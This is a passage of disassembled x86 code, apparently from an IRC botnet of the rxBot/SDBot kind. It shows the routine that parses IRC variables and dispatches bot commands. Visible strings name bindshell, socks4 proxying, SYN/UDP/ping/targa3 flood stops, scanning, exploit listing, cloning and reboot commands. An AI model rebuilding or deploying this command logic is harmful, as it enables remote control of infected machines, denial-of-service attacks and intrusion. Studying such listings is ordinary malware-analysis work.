loc_4022FE:				; CODE XREF: sub_401ACD+82Aj
		lea	eax, [ebp+var_C4]
		mov	[ebp+var_88], eax

loc_40230A:				; CODE XREF: sub_401ACD+82Fj
		cmp	[ebp+var_84], ebx
		jz	loc_401E94
		inc	[ebp+var_84]
		jz	short loc_402356
		cmp	[ebp+arg_10], ebx
		jz	short loc_402356
		lea	eax, [ebp+var_338]
		push	eax
		call	sub_41AFE0
		push	eax
		lea	eax, [ebp+var_338]
		push	[ebp+var_84]
		push	eax
		call	sub_41BE70
		mov	esi, eax
		add	esp, 10h
		neg	esi
		sbb	esi, esi
		add	esi, 4
		mov	[ebp+var_AC], esi
		jmp	short loc_40235C
; ---------------------------------------------------------------------------

loc_402356:				; CODE XREF: sub_401ACD+84Fj
					; sub_401ACD+854j
		mov	esi, [ebp+var_AC]

loc_40235C:				; CODE XREF: sub_401ACD+887j
		mov	edi, [ebp+esi*4+var_90]
		cmp	edi, ebx
		jz	loc_401E94
		push	edi
		push	offset dword_42C914
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40217C
		mov	ecx, [ebp+var_88]
		cmp	byte ptr [ecx],	23h
		jz	short loc_4023A7
		mov	eax, dword_4CAE58
		mov	eax, off_429164[eax*4]
		cmp	[eax], bl
		jz	short loc_4023A7
		push	eax
		push	ecx
		push	offset dword_42C8F8
		jmp	loc_401E89
; ---------------------------------------------------------------------------

loc_4023A7:				; CODE XREF: sub_401ACD+8BCj
					; sub_401ACD+8CCj
		push	edi
		push	offset dword_42C8F0
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40217C
		mov	eax, [ebp+esi*4+var_8C]
		cmp	eax, ebx
		jz	loc_40217C
		mov	ecx, [ebp+var_88]
		cmp	byte ptr [ecx],	23h
		jz	loc_40217C
		push	eax
		push	ecx
		push	offset dword_42C8D8
		jmp	loc_401E89
; ---------------------------------------------------------------------------

loc_4023E6:				; CODE XREF: sub_401ACD+7D5j
					; sub_401ACD+7852j
		call	near ptr 2670914h
		nop
		push	eax
		push	offset unk_42C89C
		jmp	loc_4083AD
; ---------------------------------------------------------------------------

loc_4023F7:				; CODE XREF: sub_401ACD+6F9j
		lea	eax, [ebp+var_C4]
		push	eax
		push	[ebp+esi+var_88]
		push	offset unk_42C858

loc_40240A:				; CODE XREF: sub_401ACD+7E29j
					; sub_401ACD+7E90j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 10h
		jmp	loc_4083BC
; ---------------------------------------------------------------------------

loc_40241E:				; CODE XREF: sub_401ACD+6EDj
		push	[ebp+esi+var_8C]
		push	offset aChat	; "CHAT"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40256D
		cmp	[ebp+var_A4], ebx
		jz	loc_402546
		push	1Bh
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jnz	loc_402535
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2AA8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		push	[ebp+esi+var_80]
		call	sub_41B779
		mov	[ebp+var_2910],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2AB0],	eax
		lea	eax, [ebp+var_C4]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_2990]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_2908],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2904],	eax
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C830
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Bh
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	[ebp+var_290C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2AB0]
		push	ebx
		push	eax
		push	offset byte_415C59
		push	ebx
		push	ebx
		call	near ptr 267009Ch
		nop
		mov	ecx, [ebp+var_290C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_402524

loc_40250E:				; CODE XREF: sub_401ACD+A55j
		cmp	[ebp+var_2900],	ebx
		jnz	loc_4083BC
		push	32h
		call	near ptr 2670000h
		nop
		jmp	short loc_40250E
; ---------------------------------------------------------------------------

loc_402524:				; CODE XREF: sub_401ACD+A3Fj
		nop
		call	near ptr 2670914h
		push	eax
		push	offset unk_42C7F8
		jmp	loc_4083AD
; ---------------------------------------------------------------------------

loc_402535:				; CODE XREF: sub_401ACD+982j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42C7C8
		jmp	loc_4083AD
; ---------------------------------------------------------------------------

loc_402546:				; CODE XREF: sub_401ACD+972j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42C794
		jmp	loc_4083AD
; ---------------------------------------------------------------------------

loc_402557:				; CODE XREF: sub_401ACD+6D2j
		mov	eax, [ebp+arg_8]
		lea	ecx, [eax+1]
		mov	al, [eax]
		cmp	al, byte_429094
		mov	[edi], ecx
		jnz	loc_401E94

loc_40256D:				; CODE XREF: sub_401ACD+966j
		mov	edi, [edi]
		mov	[ebp+arg_8], edi
		push	edi
		mov	edi, offset aK	; "k"
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40985C
		push	[ebp+arg_8]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40985C
		cmp	[ebp+var_A4], ebx
		jnz	short loc_4025BD
		push	[ebp+var_8C]
		push	offset dword_42C968
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409854

loc_4025BD:				; CODE XREF: sub_401ACD+AD4j
		cmp	[ebp+arg_28], ebx
		jnz	loc_409854
		xor	edi, edi
		cmp	dword_42923C, ebx
		jle	loc_402772
		mov	[ebp+arg_20], offset dword_43D160

loc_4025DB:				; CODE XREF: sub_401ACD+B2Dj
		push	[ebp+arg_8]
		push	[ebp+arg_20]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402601
		add	[ebp+arg_20], 0B8h
		inc	edi
		cmp	edi, dword_42923C
		jl	short loc_4025DB
		jmp	loc_402772
; ---------------------------------------------------------------------------

loc_402601:				; CODE XREF: sub_401ACD+B1Dj
		push	offset asc_42CA68 ; " :"
		push	[ebp+arg_0]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_401E94
		mov	cl, byte_429094
		imul	edi, 0B8h
		mov	[eax+2], cl
		mov	cl, byte_429094
		mov	[eax+3], cl
		lea	ecx, dword_43D178[edi]
		push	9Fh
		add	eax, 4
		push	ecx
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+esi+var_50]
		add	esp, 0Ch
		mov	[ebp+arg_20], 0Fh
		mov	[ebp+arg_C], eax

loc_402656:				; CODE XREF: sub_401ACD+C3Aj
		push	[ebp+arg_20]
		lea	eax, [ebp+var_A0]
		push	offset aD_1	; "$%d-"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 14h
		test	eax, eax
		jz	short loc_4026C2
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jz	short loc_4026C2
		lea	eax, dword_43D160[edi]
		push	eax
		call	sub_41AFE0
		add	[ebp+var_C], eax
		pop	ecx
		jz	short loc_4026FD
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax-4]
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4026FD
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEE
		add	esp, 0Ch
		jmp	short loc_4026FD
; ---------------------------------------------------------------------------

loc_4026C2:				; CODE XREF: sub_401ACD+BB1j
					; sub_401ACD+BB8j
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jnz	short loc_4026FD
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_94]
		mov	[ebp+var_92], bl
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEE
		add	esp, 18h

loc_4026FD:				; CODE XREF: sub_401ACD+BCAj
					; sub_401ACD+BDEj ...
		dec	[ebp+arg_20]
		sub	[ebp+arg_C], 4
		cmp	[ebp+arg_20], ebx
		jg	loc_402656
		lea	eax, [ebp+esi+var_50]
		mov	[ebp+arg_20], 10h
		mov	edi, eax

loc_40271A:				; CODE XREF: sub_401ACD+C99j
		push	[ebp+arg_20]
		lea	eax, [ebp+var_A0]
		push	offset aD_0	; "$%d"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 14h
		test	eax, eax
		jz	short loc_40275D
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_40275D
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEE
		add	esp, 0Ch

loc_40275D:				; CODE XREF: sub_401ACD+C75j
					; sub_401ACD+C7Bj
		dec	[ebp+arg_20]
		sub	edi, 4
		cmp	[ebp+arg_20], ebx
		jg	short loc_40271A
		mov	[ebp+var_2C8], 1

loc_402772:				; CODE XREF: sub_401ACD+B01j
					; sub_401ACD+B2Fj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, byte_429094
		jz	short loc_40278B
		cmp	[ebp+var_2C8], ebx
		jz	loc_40297C

loc_40278B:				; CODE XREF: sub_401ACD+CB0j
		push	[ebp+arg_10]
		mov	edi, [ebp+arg_0]
		push	offset aMe	; "$me"
		push	edi
		call	sub_417EEE
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aUser_0	; "$user"
		push	edi
		call	sub_417EEE
		push	[ebp+var_88]
		push	offset aChan	; "$chan"
		push	edi
		call	sub_417EEE
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40B08D
		push	eax
		push	offset aRndnick_0 ; "$rndnick"
		push	edi
		call	sub_417EEE
		add	esp, 40h
		push	[ebp+arg_14]
		push	offset aServer_1 ; "$server"
		push	edi
		call	sub_417EEE
		mov	edi, offset aChr ; "$chr("
		push	edi
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 14h

loc_4027FD:				; CODE XREF: sub_401ACD+E28j
		test	eax, eax
		jz	loc_4028FA
		push	edi
		push	[ebp+arg_0]
		call	sub_41B900
		mov	[ebp+arg_10], eax
		add	eax, 5
		push	4
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_A0]
		push	offset asc_42C750 ; ")"
		push	eax
		call	sub_41C0F4
		add	esp, 1Ch
		cmp	[ebp+var_A0], 30h
		jl	short loc_402849
		cmp	[ebp+var_A0], 39h
		jle	short loc_40285F

loc_402849:				; CODE XREF: sub_401ACD+D71j
		push	3
		lea	eax, [ebp+var_A0]
		push	offset a63	; "63"
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch

loc_40285F:				; CODE XREF: sub_401ACD+D7Aj
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	short loc_402885
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_94], al
		jmp	short loc_402899
; ---------------------------------------------------------------------------

loc_402885:				; CODE XREF: sub_401ACD+DA1j
		call	sub_41B8E2
		push	60h
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 20h
		mov	[ebp+var_94], dl

loc_402899:				; CODE XREF: sub_401ACD+DB6j
		lea	eax, [ebp+var_A0]
		mov	[ebp+var_93], bl
		push	eax
		call	sub_41AFE0
		mov	[ebp+arg_20], eax
		push	0Ch
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_41B590
		mov	eax, [ebp+arg_20]
		add	eax, 6
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_94]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEE
		push	edi
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 30h
		jmp	loc_4027FD
; ---------------------------------------------------------------------------

loc_4028FA:				; CODE XREF: sub_401ACD+D32j
		mov	edi, 1FFh
		lea	eax, [ebp+var_4488]
		push	edi
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_4488]
		push	edi
		push	eax
		lea	eax, [ebp+var_4AF0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_4AF0]
		push	offset asc_42CA64 ; " "
		push	eax
		call	sub_41C0F4
		add	esp, 20h
		mov	[ebp+var_90], eax
		lea	edi, [ebp+var_8C]
		mov	[ebp+arg_10], 1Fh

loc_40294A:				; CODE XREF: sub_401ACD+E92j
		push	offset asc_42CA64 ; " "
		push	ebx
		call	sub_41C0F4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+arg_10]
		pop	ecx
		jnz	short loc_40294A
		mov	ecx, [ebp+esi+var_90]
		lea	eax, [ebp+esi+var_90]
		cmp	ecx, ebx
		jz	loc_401E94
		add	ecx, 3
		mov	[eax], ecx

loc_40297C:				; CODE XREF: sub_401ACD+CB8j
		mov	edi, [ebp+esi+var_90]
		push	edi
		push	offset aRndnick	; "rndnick"
		mov	[ebp+arg_8], edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409802
		push	edi
		push	offset aRn	; "rn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409802
		push	edi
		push	offset aDie	; "die"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4049FC
		push	edi
		push	offset aD	; "d"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4049FC
		push	edi
		push	offset aLogout	; "logout"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404954
		push	edi
		push	offset aLo	; "lo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404954
		push	edi
		push	offset aVersion	; "version"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404945
		push	edi
		push	offset aVer	; "ver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404945
		push	edi
		push	offset aDedication ; "dedication"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40493B
		push	edi
		push	offset aDed	; "ded"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40493B
		push	edi
		push	offset aSpeedtest ; "speedtest"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404922
		push	edi
		push	offset aSt	; "st"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404922
		push	edi
		push	offset aSecure	; "secure"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404824
		push	edi
		push	offset aSec	; "sec"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404824
		push	edi
		push	offset aUnsecure ; "unsecure"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404824
		push	edi
		push	offset aUnsec	; "unsec"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404824
		push	edi
		push	offset aBindshell ; "bindshell"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40471E
		push	edi
		push	offset aBd	; "bd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40471E
		push	edi
		push	offset aBindshellstop ;	"bindshellstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B40
		push	[ebp+esi+var_8C]
		push	6
		push	offset aServer_0 ; "Server"
		push	offset dword_42C6A4

loc_402B24:				; CODE XREF: sub_401ACD+10C1j
					; sub_401ACD+10E7j ...
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B384
		add	esp, 20h
		jmp	loc_401E94
; ---------------------------------------------------------------------------

loc_402B40:				; CODE XREF: sub_401ACD+1042j
		push	edi
		push	offset aSocks4	; "socks4"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045FC
		push	edi
		push	offset aS4	; "s4"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045FC
		push	edi
		push	offset aSocks4stop ; "socks4stop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B90
		push	[ebp+esi+var_8C]
		push	19h
		push	offset aServer_0 ; "Server"
		push	offset dword_42C67C
		jmp	short loc_402B24
; ---------------------------------------------------------------------------

loc_402B90:				; CODE XREF: sub_401ACD+10ACj
		push	edi
		push	offset aRloginstop ; "rloginstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BB9
		push	[ebp+esi+var_8C]
		push	9
		push	offset aServer_0 ; "Server"
		push	offset dword_42C660
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402BB9:				; CODE XREF: sub_401ACD+10D2j
		push	edi
		push	offset aHttpstop ; "httpstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BE2
		push	[ebp+esi+var_8C]
		push	3
		push	offset aServer_0 ; "Server"
		push	offset dword_42C644
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402BE2:				; CODE XREF: sub_401ACD+10FBj
		push	edi
		push	offset aLogstop	; "logstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C0B
		push	[ebp+esi+var_8C]
		push	25h
		push	offset dword_42C630
		push	offset dword_42C624
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402C0B:				; CODE XREF: sub_401ACD+1124j
		push	edi
		push	offset aRedirectstop ; "redirectstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C34
		push	[ebp+esi+var_8C]
		push	18h
		push	offset dword_42C604
		push	offset dword_42C5F4
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402C34:				; CODE XREF: sub_401ACD+114Dj
		push	edi
		push	offset dword_42C5E8
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C5D
		push	[ebp+esi+var_8C]
		push	0Dh
		push	offset dword_42C5DC
		push	offset dword_42C5D0
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402C5D:				; CODE XREF: sub_401ACD+1176j
		push	edi
		push	offset aSynstop	; "synstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C86
		push	[ebp+esi+var_8C]
		push	0Eh
		push	offset dword_42C5BC
		push	offset dword_42C5B0
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402C86:				; CODE XREF: sub_401ACD+119Fj
		push	edi
		push	offset aSkysynstop ; "skysynstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CAF
		push	[ebp+esi+var_8C]
		push	10h
		push	offset dword_42C594
		push	offset dword_42C584
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402CAF:				; CODE XREF: sub_401ACD+11C8j
		push	edi
		push	offset aTarga3stop ; "targa3stop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CD8
		push	[ebp+esi+var_8C]
		push	11h
		push	offset dword_42C568
		push	offset dword_42C558
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402CD8:				; CODE XREF: sub_401ACD+11F1j
		push	edi
		push	offset aWonkstop ; "wonkstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402D01
		push	[ebp+esi+var_8C]
		push	12h
		push	offset dword_42C540
		push	offset dword_42C534
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402D01:				; CODE XREF: sub_401ACD+121Aj
		push	edi
		push	offset aPacketstop ; "packetstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402E57
		mov	esi, [ebp+esi+var_8C]
		mov	edi, [ebp+arg_4]
		push	esi
		push	0Dh
		push	offset dword_42C5DC
		push	offset dword_42C5D0
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		push	esi
		push	0Eh
		push	offset dword_42C5BC
		push	offset dword_42C5B0
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		add	esp, 40h
		push	esi
		push	17h
		push	offset dword_42C51C
		push	offset dword_42C510
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		push	esi
		push	16h
		push	offset dword_42C504
		push	offset dword_42C4F8
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		add	esp, 40h
		push	esi
		push	11h
		push	offset dword_42C568
		push	offset dword_42C558
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		push	esi
		push	12h
		push	offset dword_42C540
		push	offset dword_42C534
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		add	esp, 40h
		push	esi
		push	0Fh
		push	offset dword_42C4E8
		push	offset dword_42C4D8
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		push	esi
		push	13h
		push	offset dword_42C4C8
		push	offset dword_42C4B8
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		add	esp, 40h
		push	esi
		push	10h
		push	offset dword_42C594
		push	offset dword_42C584
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42C484
		push	[ebp+var_88]
		push	edi
		call	sub_409A72
		add	esp, 34h
		jmp	loc_401E94
; ---------------------------------------------------------------------------

loc_402E57:				; CODE XREF: sub_401ACD+1243j
		push	edi
		push	offset aTsunamistop ; "tsunamistop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402E80
		push	[ebp+esi+var_8C]
		push	0Fh
		push	offset dword_42C4E8
		push	offset dword_42C4D8
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402E80:				; CODE XREF: sub_401ACD+1399j
		push	edi
		push	offset aWisdomstop ; "wisdomstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402EA9
		push	[ebp+esi+var_8C]
		push	13h
		push	offset dword_42C4C8
		push	offset dword_42C4B8
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402EA9:				; CODE XREF: sub_401ACD+13C2j
		push	edi
		push	offset aUdpstop	; "udpstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402ED2
		push	[ebp+esi+var_8C]
		push	17h
		push	offset dword_42C51C
		push	offset dword_42C510
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402ED2:				; CODE XREF: sub_401ACD+13EBj
		push	edi
		push	offset aPingstop ; "pingstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402EFB
		push	[ebp+esi+var_8C]
		push	16h
		push	offset dword_42C504
		push	offset dword_42C4F8
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402EFB:				; CODE XREF: sub_401ACD+1414j
		push	edi
		push	offset aTftpstop ; "tftpstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402F24
		push	[ebp+esi+var_8C]
		push	5
		push	offset aServer_0 ; "Server"
		push	offset dword_42C43C
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402F24:				; CODE XREF: sub_401ACD+143Dj
		push	edi
		push	offset aFindfilestop ; "findfilestop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045E4
		push	edi
		push	offset aFfstop	; "ffstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045E4
		push	edi
		push	offset aProcsstop ; "procsstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045CC
		push	edi
		push	offset aPsstop	; "psstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045CC
		push	edi
		push	offset aClonestop ; "clonestop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FA1
		push	[ebp+esi+var_8C]
		push	1Fh
		push	offset aClone	; "Clone"
		push	offset dword_42C3EC
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402FA1:				; CODE XREF: sub_401ACD+14BAj
		push	edi
		push	offset aSecurestop ; "securestop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FCA
		push	[ebp+esi+var_8C]
		push	22h
		push	offset aSecure_0 ; "Secure"
		push	offset dword_42C3C8
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402FCA:				; CODE XREF: sub_401ACD+14E3j
		push	edi
		push	offset aScanstop ; "scanstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FF3
		push	[ebp+esi+var_8C]
		push	0Bh
		push	offset aScan_0	; "Scan"
		push	offset dword_42C3A8
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402FF3:				; CODE XREF: sub_401ACD+150Cj
		push	edi
		push	offset aScanstats ; "scanstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045B6
		push	edi
		push	offset aStats	; "stats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045B6
		push	edi
		push	offset aTransferstats ;	"transferstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045A0
		push	edi
		push	offset aTrstats	; "trstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045A0
		push	edi
		push	offset aConnectbacksta ; "connectbackstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40458A
		push	edi
		push	offset aCbstats	; "cbstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40458A
		push	edi
		push	offset aExploitlist ; "exploitlist"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404574
		push	edi
		push	offset aExplist	; "explist"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404574
		push	edi
		push	offset aReconnect ; "reconnect"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404555
		push	edi
		push	offset aR	; "r"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404555
		push	edi
		push	offset aDisconnect ; "disconnect"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404533
		push	edi
		push	offset aDc	; "dc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404533
		push	edi
		push	offset aQuit_0	; "quit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044EB
		push	edi
		push	offset aQ	; "q"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044EB
		push	edi
		push	offset aStatus	; "status"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044D7
		push	edi
		push	offset aS_0	; "s"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044D7
		push	edi
		push	offset aId	; "id"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044A0
		push	edi
		push	offset aI	; "i"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044A0
		push	edi
		push	offset aReboot	; "reboot"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4031BF
		call	sub_418337
		test	eax, eax
		mov	eax, offset unk_42C2E4
		jnz	short loc_403191
		mov	eax, offset unk_42C2BC

loc_403191:				; CODE XREF: sub_401ACD+16BDj
		push	eax
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 1Ch
		jmp	loc_4083BC
; ---------------------------------------------------------------------------

loc_4031BF:				; CODE XREF: sub_401ACD+16AFj
		push	edi
		push	offset aThreads	; "threads"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4043C1
		push	edi
		push	offset aT	; "t"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4043C1
		push	edi
